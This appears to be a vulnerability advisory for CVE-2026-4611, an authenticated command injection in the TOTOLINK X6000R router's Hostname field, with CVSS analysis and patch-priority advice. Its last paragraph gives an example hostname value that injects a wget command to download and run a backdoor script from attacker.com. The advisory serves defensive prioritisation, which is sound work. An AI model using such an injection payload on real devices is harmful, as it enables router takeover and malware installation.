X6000R CVE-2026-4611

Requires administrative access to TOTOLINK X6000R router running firmware versions 9.4.0cu.1360_B20241207 or 9.4.0cu.1498_B20250826. Attacker must authenticate as high-privilege admin user to manipulate the Hostname parameter in the setLanCfg function via /usr/sbin/shttpd.

The CVSS base score of 7.2 (High) reflects the network-accessible attack vector (AV:N) with low complexity (AC:L), but crucially requires high privileges (PR:H), meaning the attacker must already have administrative credentials to the router's web interface. This significantly reduces the real-world exploitation likelihood compared to unauthenticated vulnerabilities. The vulnerability allows complete compromise (C:H/I:H/A:H) within the router's security boundary (S:U - unchanged scope). While proof-of-concept details are available via VulDB, there is no evidence of active exploitation in the wild, no EPSS score provided, and no KEV listing. The requirement for administrative access means this is more likely to be exploited in targeted attacks against organizations with weak router credentials or as a persistence mechanism after initial compromise, rather than in mass-exploitation campaigns. Priority should be moderate: important for organizations using affected TOTOLINK devices, but not an immediate emergency requiring after-hours patching unless these devices are internet-facing with exposed management interfaces.

An attacker who has obtained administrative credentials to the TOTOLINK X6000R router (through phishing, credential stuffing, or default password exploitation) logs into the web management interface and navigates to the LAN configuration section. They manipulate the Hostname field by injecting shell metacharacters and malicious commands, such as setting the hostname to a value like 'routername;wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && sh /tmp/backdoor.sh;'. When the setLanCfg function processes this input without sanitization, the injected commands execute with system privileges, allowing the attacker to download and run malware, establish persistent backdoor access, pivot to internal networks, or exfiltrate configuration data including network topology and credentials.